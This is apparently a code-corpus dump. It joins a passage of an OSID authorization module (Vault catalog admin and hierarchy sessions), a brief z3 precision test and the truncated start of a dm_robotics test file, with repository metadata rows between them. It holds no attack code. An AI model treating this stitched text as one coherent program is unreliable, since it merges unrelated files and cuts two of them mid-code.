not isinstance(arg, ABCType): raise errors.InvalidArgument('one or more argument array elements is not a valid OSID Type') if vault_record_types == []: result = objects.VaultForm( runtime=self._runtime, effective_agent_id=self.get_effective_agent_id(), proxy=self._proxy) # Probably don't need effective agent id now that we have proxy in form. else: result = objects.VaultForm( record_types=vault_record_types, runtime=self._runtime, effective_agent_id=self.get_effective_agent_id(), proxy=self._proxy) # Probably don't need effective agent id now that we have proxy in form. self._forms[result.get_id().get_identifier()] = not CREATED return result @utilities.arguments_not_none def create_vault(self, vault_form): """Creates a new ``Vault``. arg: vault_form (osid.authorization.VaultForm): the form for this ``Vault`` return: (osid.authorization.Vault) - the new ``Vault`` raise: IllegalState - ``vault_form`` already used in a create transaction raise: InvalidArgument - one or more of the form elements is invalid raise: NullArgument - ``vault_form`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``vault_form`` did not originate from ``get_vault_form_for_create()`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.create_bin_template if self._catalog_session is not None: return self._catalog_session.create_catalog(catalog_form=vault_form) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_form, ABCVaultForm): raise errors.InvalidArgument('argument type is not an VaultForm') if vault_form.is_for_update(): raise errors.InvalidArgument('the VaultForm is for update only, not create') try: if self._forms[vault_form.get_id().get_identifier()] == CREATED: raise errors.IllegalState('vault_form already used in a create transaction') except KeyError: raise errors.Unsupported('vault_form did not originate from this session') if not vault_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') insert_result = collection.insert_one(vault_form._my_map) self._forms[vault_form.get_id().get_identifier()] = CREATED result = objects.Vault( osid_object_map=collection.find_one({'_id': insert_result.inserted_id}), runtime=self._runtime, proxy=self._proxy) return result def can_update_vaults(self): """Tests if this user can update ``Vaults``. A return of true does not guarantee successful authorization. A return of false indicates that it is known updating a ``Vault`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may not wish to offer update operations to unauthorized users. return: (boolean) - ``false`` if ``Vault`` modification is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_update_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_update_catalogs() return True @utilities.arguments_not_none def get_vault_form_for_update(self, vault_id): """Gets the vault form for updating an existing vault. A new vault form should be requested for each update transaction. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` return: (osid.authorization.VaultForm) - the vault form raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.get_bin_form_for_update_template if self._catalog_session is not None: return self._catalog_session.get_catalog_form_for_update(catalog_id=vault_id) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') result = collection.find_one({'_id': ObjectId(vault_id.get_identifier())}) cat_form = objects.VaultForm(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) self._forms[cat_form.get_id().get_identifier()] = not UPDATED return cat_form @utilities.arguments_not_none def update_vault(self, vault_form): """Updates an existing vault. arg: vault_form (osid.authorization.VaultForm): the form containing the elements to be updated raise: IllegalState - ``vault_form`` already used in an update transaction raise: InvalidArgument - the form contains an invalid value raise: NullArgument - ``vault_form`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``vault_form`` did not originate from ``get_vault_form_for_update()`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.update_bin_template if self._catalog_session is not None: return self._catalog_session.update_catalog(catalog_form=vault_form) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_form, ABCVaultForm): raise errors.InvalidArgument('argument type is not an VaultForm') if not vault_form.is_for_update(): raise errors.InvalidArgument('the VaultForm is for update only, not create') try: if self._forms[vault_form.get_id().get_identifier()] == UPDATED: raise errors.IllegalState('vault_form already used in an update transaction') except KeyError: raise errors.Unsupported('vault_form did not originate from this session') if not vault_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') collection.save(vault_form._my_map) # save is deprecated - change to replace_one self._forms[vault_form.get_id().get_identifier()] = UPDATED # Note: this is out of spec. The OSIDs don't require an object to be returned return objects.Vault(osid_object_map=vault_form._my_map, runtime=self._runtime, proxy=self._proxy) def can_delete_vaults(self): """Tests if this user can delete vaults. A return of true does not guarantee successful authorization. A return of false indicates that it is known deleting a ``Vault`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may not wish to offer delete operations to unauthorized users. return: (boolean) - ``false`` if ``Vault`` deletion is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_delete_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_delete_catalogs() return True @utilities.arguments_not_none def delete_vault(self, vault_id): """Deletes a ``Vault``. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` to remove raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.delete_bin_template if self._catalog_session is not None: return self._catalog_session.delete_catalog(catalog_id=vault_id) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) if not isinstance(vault_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') for object_catalog in ['Authorization', 'Function', 'Qualifier', 'Vault']: obj_collection = JSONClientValidated('authorization', collection=object_catalog, runtime=self._runtime) if obj_collection.find({'assignedVaultIds': {'$in': [str(vault_id)]}}).count() != 0: raise errors.IllegalState('catalog is not empty') collection.delete_one({'_id': ObjectId(vault_id.get_identifier())}) def can_manage_vault_aliases(self): """Tests if this user can manage ``Id`` aliases for ``Vaults``. A return of true does not guarantee successful authorization. A return of false indicates that it is known changing an alias will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer alias operations to an unauthorized user. return: (boolean) - ``false`` if ``Vault`` aliasing is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def alias_vault(self, vault_id, alias_id): """Adds an ``Id`` to a ``Vault`` for the purpose of creating compatibility. The primary ``Id`` of the ``Vault`` is determined by the provider. The new ``Id`` performs as an alias to the primary ``Id``. If the alias is a pointer to another vault it is reassigned to the given vault ``Id``. arg: vault_id (osid.id.Id): the ``Id`` of a ``Vault`` arg: alias_id (osid.id.Id): the alias ``Id`` raise: AlreadyExists - ``alias_id`` is already assigned raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` or ``alias_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.alias_bin_template if self._catalog_session is not None: return self._catalog_session.alias_catalog(catalog_id=vault_id, alias_id=alias_id) self._alias_id(primary_id=vault_id, equivalent_id=alias_id) class VaultHierarchySession(abc_authorization_sessions.VaultHierarchySession, osid_sessions.OsidSession): """This session defines methods for traversing a hierarchy of ``Vault`` objects. Each node in the hierarchy is a unique ``Vault``. The hierarchy may be traversed recursively to establish the tree structure through ``get_parent_vaults()`` and ``getChildVaults()``. To relate these ``Ids`` to another OSID, ``get_vault_nodes()`` can be used for retrievals that can be used for bulk lookups in other OSIDs. Any ``Vault`` available in the Authorization OSID is known to this hierarchy but does not appear in the hierarchy traversal until added as a root node or a child of another node. A user may not be authorized to traverse the entire hierarchy. Parts of the hierarchy may be made invisible through omission from the returns of ``get_parent_vaults()`` or ``get_child_vaults()`` in lieu of a ``PermissionDenied`` error that may disrupt the traversal through authorized pathways. This session defines views that offer differing behaviors when retrieving multiple objects. * comparative view: vault elements may be silently omitted or re- ordered * plenary view: provides a complete set or is an error condition """ _session_namespace = 'authorization.VaultHierarchySession' def __init__(self, proxy=None, runtime=None, **kwargs): # Implemented from template for # osid.resource.BinHierarchySession.init_template OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) self._forms = dict() self._kwargs = kwargs if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_hierarchy_session() else: hierarchy_mgr = self._get_provider_manager('HIERARCHY') self._hierarchy_session = hierarchy_mgr.get_hierarchy_traversal_session_for_hierarchy( Id(authority='AUTHORIZATION', namespace='CATALOG', identifier='VAULT'), proxy=self._proxy) def get_vault_hierarchy_id(self): """Gets the hierarchy ``Id`` associated with this session. return: (osid.id.Id) - the hierarchy ``Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy_id if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy_id() return self._hierarchy_session.get_hierarchy_id() vault_hierarchy_id = property(fget=get_vault_hierarchy_id) def get_vault_hierarchy(self): """Gets the hierarchy associated with this session. return: (osid.hierarchy.Hierarchy) - the hierarchy associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy() return self._hierarchy_session.get_hierarchy() vault_hierarchy = property(fget=get_vault_hierarchy) def can_access_vault_hierarchy(self): """Tests if this user can perform hierarchy queries. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations. return: (boolean) - ``false`` if hierarchy traversal methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.can_access_bin_hierarchy # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_access_catalog_hierarchy() return True def use_comparative_vault_view(self): """The returns from the vault methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_comparative_bin_view self._catalog_view = COMPARATIVE if self._catalog_session is not None: self._catalog_session.use_comparative_catalog_view() def use_plenary_vault_view(self): """A complete view of the ``Hierarchy`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_plenary_bin_view self._catalog_view = PLENARY if self._catalog_session is not None: self._catalog_session.use_plenary_catalog_view() def get_root_vault_ids(self): """Gets the root vault ``Ids`` in this hierarchy. return: (osid.id.IdList) - the root vault ``Ids`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_root_bin_ids if self._catalog_session is not None: return self._catalog_session.get_root_catalog_ids() return self._hierarchy_session.get_roots() root_vault_ids = property(fget=get_root_vault_ids) def get_root_vaults(self): """Gets the root vaults in this vault hierarchy. return: (osid.authorization.VaultList) - the root vaults raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_root_bins if self._catalog_session is not None: return self._catalog_session.get_root_catalogs() return VaultLookupSession( self._proxy, self._runtime).get_vaults_by_ids(list(self.get_root_vault_ids())) root_vaults = property(fget=get_root_vaults) @utilities.arguments_not_none def has_parent_vaults(self, vault_id): """Tests if the ``Vault`` has any parents. arg: vault_id (osid.id.Id): a vault ``Id`` return: (boolean) - ``true`` if the vault has parents, ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.has_parent_bins if self._catalog_session is not None: return self._catalog_session.has_parent_catalogs(catalog_id=vault_id) return self._hierarchy_session.has_parents(id_=vault_id) @utilities.arguments_not_none def is_parent_of_vault(self, id_, vault_id): """Tests if an ``Id`` is a direct parent of a vault. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if this ``id`` is a parent of ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``id`` or ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_parent_of_bin if self._catalog_session is not None: return self._catalog_session.is_parent_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_parent(id_=vault_id, parent_id=id_) @utilities.arguments_not_none def get_parent_vault_ids(self, vault_id): """Gets the parent ``Ids`` of the given vault. arg: vault_id (osid.id.Id): a vault ``Id`` return: (osid.id.IdList) - the parent ``Ids`` of the vault raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_parent_bin_ids if self._catalog_session is not None: return self._catalog_session.get_parent_catalog_ids(catalog_id=vault_id) return self._hierarchy_session.get_parents(id_=vault_id) @utilities.arguments_not_none def get_parent_vaults(self, vault_id): """Gets the parents of the given vault. arg: vault_id (osid.id.Id): a vault ``Id`` return: (osid.authorization.VaultList) - the parents of the vault raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_parent_bins if self._catalog_session is not None: return self._catalog_session.get_parent_catalogs(catalog_id=vault_id) return VaultLookupSession( self._proxy, self._runtime).get_vaults_by_ids( list(self.get_parent_vault_ids(vault_id))) @utilities.arguments_not_none def is_ancestor_of_vault(self, id_, vault_id): """Tests if an ``Id`` is an ancestor of a vault. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if this ``id`` is an ancestor of ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` or ``id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_ancestor_of_bin if self._catalog_session is not None: return self._catalog_session.is_ancestor_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_ancestor(id_=id_, ancestor_id=vault_id) @utilities.arguments_not_none def has_child_vaults(self, vault_id): """Tests if a vault has any children. arg: vault_id (osid.id.Id): a ``vault_id`` return: (boolean) - ``true`` if the ``vault_id`` has children, ``false`` otherwise raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.has_child_bins if self._catalog_session is not None: return self._catalog_session.has_child_catalogs(catalog_id=vault_id) return self._hierarchy_session.has_children(id_=vault_id) @utilities.arguments_not_none def is_child_of_vault(self, id_, vault_id): """Tests if a vault is a direct child of another. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if the ``id`` is a child of ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` or ``id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_child_of_bin if self._catalog_session is not None: return self._catalog_session.is_child_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_child(id_=vault_id, child_id=id_) @utilities.arguments_not_none def get_child_vault_ids(self, vault_id): """Gets the child ``Ids`` of the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query return: (osid.id.IdList) - the children of the vault raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_child_bin_ids if self._catalog_session is not None: return self._catalog_session.get_child_catalog_ids(catalog_id=vault_id) return self._hierarchy_session.get_children(id_=vault_id) @utilities.arguments_not_none def get_child_vaults(self, vault_id): """Gets the children of the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query return: (osid.authorization.VaultList) - the children of the vault raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_child_bins if self._catalog_session is not None: return self._catalog_session.get_child_catalogs(catalog_id=vault_id) return VaultLookupSession( self._proxy, self._runtime).get_vaults_by_ids( list(self.get_child_vault_ids(vault_id))) @utilities.arguments_not_none def is_descendant_of_vault(self, id_, vault_id): """Tests if an ``Id`` is a descendant of a vault. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if the ``id`` is a descendant of the ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` or ``id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` is not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_descendant_of_bin if self._catalog_session is not None: return self._catalog_session.is_descendant_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_descendant(id_=id_, descendant_id=vault_id) @utilities.arguments_not_none def get_vault_node_ids(self, vault_id, ancestor_levels, descendant_levels, include_siblings): """Gets a portion of the hierarchy for the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query arg: ancestor_levels (cardinal): the maximum number of ancestor levels to include. A value of 0 returns no parents in the node. arg: descendant_levels (cardinal): the maximum number of descendant levels to include. A value of 0 returns no children in the node. arg: include_siblings (boolean): ``true`` to include the siblings of the given node, ``false`` to omit the siblings return: (osid.hierarchy.Node) - a vault node raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_node_ids if self._catalog_session is not None: return self._catalog_session.get_catalog_node_ids( catalog_id=vault_id, ancestor_levels=ancestor_levels, descendant_levels=descendant_levels, include_siblings=include_siblings) return self._hierarchy_session.get_nodes( id_=vault_id, ancestor_levels=ancestor_levels, descendant_levels=descendant_levels, include_siblings=include_siblings) @utilities.arguments_not_none def get_vault_nodes(self, vault_id, ancestor_levels, descendant_levels, include_siblings): """Gets a portion of the hierarchy for the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query arg: ancestor_levels (cardinal): the maximum number of ancestor levels to include. A value of 0 returns no parents in the node. arg: descendant_levels (cardinal): the maximum number of descendant levels to include. A value of 0 returns no children in the node. arg: include_siblings (boolean): ``true`` to include the siblings of the given node, ``false`` to omit the siblings return: (osid.authorization.VaultNode) - a vault node raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_nodes return objects.VaultNode(self.get_vault_node_ids( vault_id=vault_id, ancestor_levels=ancestor_levels, descendant_levels=descendant_levels, include_siblings=include_siblings)._my_map, runtime=self._runtime, proxy=self._proxy) class VaultHierarchyDesignSession(abc_authorization_sessions.VaultHierarchyDesignSession, osid_sessions.OsidSession): """This session defines methods for managing a hierarchy of ``Vault`` objects. Each node in the hierarchy is a unique ``Vault``. """ _session_namespace = 'authorization.VaultHierarchyDesignSession' def __init__(self, proxy=None, runtime=None, **kwargs): # Implemented from template for # osid.resource.BinHierarchyDesignSession.init_template OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) self._forms = dict() self._kwargs = kwargs if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_hierarchy_design_session() else: hierarchy_mgr = self._get_provider_manager('HIERARCHY') self._hierarchy_session = hierarchy_mgr.get_hierarchy_design_session_for_hierarchy( Id(authority='AUTHORIZATION', namespace='CATALOG', identifier='VAULT'), proxy=self._proxy) def get_vault_hierarchy_id(self): """Gets the hierarchy ``Id`` associated with this session. return: (osid.id.Id) - the hierarchy ``Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy_id if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy_id() return self._hierarchy_session.get_hierarchy_id() vault_hierarchy_id = property(fget=get_vault_hierarchy_id) def get_vault_hierarchy(self): """Gets the hierarchy associated with this session. return: (osid.hierarchy.Hierarchy) - the hierarchy associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy() return self._hierarchy_session.get_hierarchy() vault_hierarchy = property(fget=get_vault_hierarchy) def can_modify_vault_hierarchy(self): """Tests if this user can change the hierarchy. A return of true does not guarantee successful authorization. A return of false indicates that it is known performing any update will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer these operations to an unauthorized user. return: (boolean) - ``false`` if changing this hierarchy is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.can_modify_bin_hierarchy_template # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_modify_catalog_hierarchy() return True @utilities.arguments_not_none def add_root_vault(self, vault_id): """Adds a root vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault raise: AlreadyExists - ``vault_id`` is already in hierarchy raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.add_root_bin_template if self._catalog_session is not None: return self._catalog_session.add_root_catalog(catalog_id=vault_id) return self._hierarchy_session.add_root(id_=vault_id) @utilities.arguments_not_none def remove_root_vault(self, vault_id): """Removes a root vault from this hierarchy. arg: vault_id (osid.id.Id): the ``Id`` of a vault raise: NotFound - ``vault_id`` not a parent of ``child_id`` raise: NullArgument - ``vault_id`` or ``child_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.remove_root_bin_template if self._catalog_session is not None: return self._catalog_session.remove_root_catalog(catalog_id=vault_id) return self._hierarchy_session.remove_root(id_=vault_id) @utilities.arguments_not_none def add_child_vault(self, vault_id, child_id): """Adds a child to a vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault arg: child_id (osid.id.Id): the ``Id`` of the new child raise: AlreadyExists - ``vault_id`` is already a parent of ``child_id`` raise: NotFound - ``vault_id`` or ``child_id`` not found raise: NullArgument - ``vault_id`` or ``child_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.add_child_bin_template if self._catalog_session is not None: return self._catalog_session.add_child_catalog(catalog_id=vault_id, child_id=child_id) return self._hierarchy_session.add_child(id_=vault_id, child_id=child_id) @utilities.arguments_not_none def remove_child_vault(self, vault_id, child_id): """Removes a child from a vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault arg: child_id (osid.id.Id): the ``Id`` of the child raise: NotFound - ``vault_id`` not parent of ``child_id`` raise: NullArgument - ``vault_id`` or ``child_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.remove_child_bin_template if self._catalog_session is not None: return self._catalog_session.remove_child_catalog(catalog_id=vault_id, child_id=child_id) return self._hierarchy_session.remove_child(id_=vault_id, child_id=child_id) @utilities.arguments_not_none def remove_child_vaults(self, vault_id): """Removes all children from a vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault raise: NotFound - ``vault_id`` is not in hierarchy raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.remove_child_bin_template if self._catalog_session is not None: return self._catalog_session.remove_child_catalogs(catalog_id=vault_id) return self._hierarchy_session.remove_children(id_=vault_id)

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0.317326

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null

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1

0

null

0

6

a8071813703c97e154c1a58b74d953608becaf8d

235

py

Python

old-regressions/python/tst6.py

muchang/z3test

e3e7739f98b7aa85427fcb8a39a4c675132a896e

[ "MIT" ]

23

2015-04-20T08:51:00.000Z

2021-11-15T12:20:59.000Z

old-regressions/python/tst6.py

muchang/z3test

e3e7739f98b7aa85427fcb8a39a4c675132a896e

[ "MIT" ]

18

2016-03-02T15:17:42.000Z

2021-12-16T22:10:05.000Z

old-regressions/python/tst6.py

muchang/z3test

e3e7739f98b7aa85427fcb8a39a4c675132a896e

[ "MIT" ]

30

2015-05-30T15:29:17.000Z

2022-02-25T15:58:58.000Z

# Copyright (c) 2015 Microsoft Corporation from z3 import * print(simplify(Sqrt(2)).sexpr()) set_option(":pp-decimal-precision", 50, pp_decimal=True) print(simplify(Sqrt(2)).sexpr()) set_option(precision=20) print(simplify(Sqrt(2)))

23.5

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a81eba16cf9a55afaac7c0432d5bc776ba731b35

40,893

py

Python

py/agentflow/preprocessors/observation_transforms_test.py

wx-b/dm_robotics

5d407622360ccf7f0b4b50bcee84589e2cfd0783

[ "Apache-2.0" ]

128

2021-09-08T18:39:39.000Z

2022-03-27T11:29:05.000Z

py/agentflow/preprocessors/observation_transforms_test.py

wx-b/dm_robotics

5d407622360ccf7f0b4b50bcee84589e2cfd0783

[ "Apache-2.0" ]

7

2021-10-11T14:26:17.000Z

2022-03-15T17:26:45.000Z

py/agentflow/preprocessors/observation_transforms_test.py

LaudateCorpus1/dm_robotics

647bc810788c74972c1684a8d2e4d2dfd2791485

[ "Apache-2.0" ]

8

2021-09-08T18:25:49.000Z

2022-02-21T23:45:16.000Z

# Copyright 2020 DeepMind Technologies Limited. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # python3 """Tests for observations_transforms.""" import copy from typing import Mapping, Optional, Type from absl.testing import absltest from absl.testing import parameterized import cv2 import dm_env from dm_env import specs from dm_robotics.agentflow import spec_utils from dm_robotics.agentflow import testing_functions from dm_robotics.agentflow.preprocessors import observation_transforms from dm_robotics.agentflow.preprocessors import timestep_preprocessor from dm_robotics.transformations import transformations as tr import numpy as np _DEFAULT_TYPE = np.float64 def scalar_array_spec(name: str, dtype: Type[np.floating] = _DEFAULT_TYPE): return specs.Array(shape=(), dtype=dtype, name=name) @parameterized.parameters( (observation_transforms.CastPreprocessor, float, float, float), (observation_transforms.CastPreprocessor, np.float32, float, float), (observation_transforms.CastPreprocessor, np.float64, float, float), (observation_transforms.CastPreprocessor, float, np.float32, np.float32), (observation_transforms.CastPreprocessor, np.float32, np.float32, np.float32), (observation_transforms.CastPreprocessor, np.float64, np.float32, np.float32), (observation_transforms.CastPreprocessor, float, np.float64, np.float64), (observation_transforms.CastPreprocessor, np.float32, np.float64, np.float64), (observation_transforms.CastPreprocessor, np.float64, np.float64, np.float64), (observation_transforms.DowncastFloatPreprocessor, float, float, float), (observation_transforms.DowncastFloatPreprocessor, np.float32, float, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float64, float, float), (observation_transforms.DowncastFloatPreprocessor, float, np.float32, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float32, np.float32, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float64, np.float32, np.float32), (observation_transforms.DowncastFloatPreprocessor, float, np.float64, float), (observation_transforms.DowncastFloatPreprocessor, np.float32, np.float64, np.float32), (observation_transforms.DowncastFloatPreprocessor, np.float64, np.float64, np.float64), (observation_transforms.DowncastFloatPreprocessor, np.float128, np.float64, np.float64), # Non-floating point types should not be interefered with. (observation_transforms.DowncastFloatPreprocessor, np.int32, np.float64, np.int32), ) class CastAndDowncastPreprocessorTest(absltest.TestCase): def testCastPreprocessor_Array( self, 